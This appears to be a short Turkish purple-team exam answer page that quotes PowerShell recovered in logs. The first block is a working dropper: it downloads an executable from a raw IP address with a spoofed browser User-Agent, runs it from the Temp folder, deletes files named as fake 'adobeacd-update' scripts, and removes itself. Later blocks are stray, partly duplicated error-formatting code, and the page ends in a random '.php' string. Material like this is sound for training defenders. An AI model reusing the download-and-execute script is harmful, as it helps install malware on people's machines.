Purple Team Sınav Sorusu Çözümleri

“$down = New-Object System.Net.WebClient;
$url  = 'http://91.220.131.44/upd/install.exe';
$file = 'c:\Users\kazim\AppData\Local\Temp\444.exe';
$down.headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25'+'';
$down.DownloadFile($url,$file);
$ScriptDir = $MyInvocation.ScriptName;
$someFilePath = 'c:\Users\kazim\AppData\Local\Temp\444.exe';
$vbsFilePath = 'c:\Users\kazim\AppData\Local\Temp\adobeacd-update'+'.'+'v'+'bs';
$batFilePath = 'c:\Users\kazim\AppData\Local\Temp\adobeacd-update'+'.'+'b'+'at';
$psFilePath = 'c:\Users\kazim\AppData\Local\Temp\adobeacd-update'+'.'+'p'+'s1';
Start-Sleep -s 15;
cmd.exe /c  'c:\Users\kazim\AppData\Local\Temp\444.exe';     
$file1 = gci $vbsFilePath -Force
$file2 = gci $batFilePath -Force
$file3 = gci $psFilePath -Force
If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }
If (Test-Path $batFilePath){ Remove-Item $batFilePath }
$psHello = 'aisdjhiqowhdiq';
If (Test-Path $someFilePath){ Remove-Item $someFilePath }
Remove-Item $MyINvocation.InvocationName”

“if ($_.FullyQualifiedErrorId -ne "NativeCommandErrorMessage" -and $ErrorView -ne "CategoryView")
{
    $myinv = $_.InvocationInfo
    if ($myinv -and $myinv.MyCommand)
    {
        switch -regex ( $myinv.MyCommand.CommandType )
        {
            ([System.Management.Automation.CommandTypes]::ExternalScript)
            {
                if ($myinv.MyCommand.Path)
                {
                    $myinv.MyCommand.Path + " : "
                }
                break
            }
            ([System.Management.Automation.CommandTypes]::Script)
            {
                if ($myinv.MyCommand.ScriptBlock)
                {
                    $myinv.MyCommand.ScriptBlock.ToString() + " : "
                }
                break
            }
            default
            {
                if ($myinv.InvocationName -match '^[&\.]?$')
                {
                    if ($myinv.MyCommand.Name)
                    {
                        $myinv.MyCommand.Name + " : "
                    }
                }
                else
                {
                    $myinv.InvocationName + " : "
                }
                break
            }
        }
    }
    elseif ($myinv -and $myinv.InvocationName)
    {
        $myinv.InvocationName + " : "
    }
}”

Komutunun çalıştığı gözlemlenmiştir.

“if ($_.FullyQualifiedErrorId -ne "NativeCommandErrorMessage" -and $ErrorView -ne "CategoryView")
“if ($_.FullyQualifiedErrorId -eq "NativeCommandErrorMessage") {
    $_.Exception.Message   
}
else
{
    $myinv = $_.InvocationInfo
    if ($myinv -and ($myinv.MyCommand -or ($_.CategoryInfo.Category -ne 'ParserError'))) {
        $posmsg = $myinv.PositionMessage
    } else {
        $posmsg = ""
    }
    
    if ($posmsg -ne "")
    {
        $posmsg = "`n" + $posmsg
    }

    if ( & { Set-StrictMode -Version 1; $_.PSMessageDetails } ) {
        $posmsg = " : " +  $_.PSMessageDetails + $posmsg 
    }

    $indent = 4
    $width = $host.UI.RawUI.BufferSize.Width - $indent - 2

    $errorCategoryMsg = & { Set-StrictMode -Version 1; $_.ErrorCategory_Message }
    if ($errorCategoryMsg -ne $null)
    {
        $indentString = "+ CategoryInfo          : " + $_.ErrorCategory_Message
    }
    else
    {
        $indentString = "+ CategoryInfo          : " + $_.CategoryInfo
    }
    $posmsg += "`n"
    foreach($line in @($indentString -split "(.{$width})")) { if($line) { $posmsg += (" " * $indent + $line) } }

    $indentString = "+ FullyQualifiedErrorId : " + $_.FullyQualifiedErrorId
    $posmsg += "`n"
    foreach($line in @($indentString -split "(.{$width})")) { if($line) { $posmsg += (" " * $indent + $line) } }

    $originInfo = & { Set-StrictMode -Version 1; $_.OriginInfo }
    if (($originInfo -ne $null) -and ($originInfo.PSComputerName -ne $null))
    {
        $indentString = "+ PSComputerName        : " + $originInfo.PSComputerName
        $posmsg += "`n"
        foreach($line in @($indentString -split "(.{$width})")) { if($line) { $posmsg += (" " * $indent + $line) } }
    }

    if ($ErrorView -eq "CategoryView") {
        $_.CategoryInfo.GetMessage()
    }
    elseif (! $_.ErrorDetails -or ! $_.ErrorDetails.Message) {
        $_.Exception.Message + $posmsg + "`n "
    } else {
        $_.ErrorDetails.Message + $posmsg
    }
}”

adasdasdsadffgdfgdfgfdd.php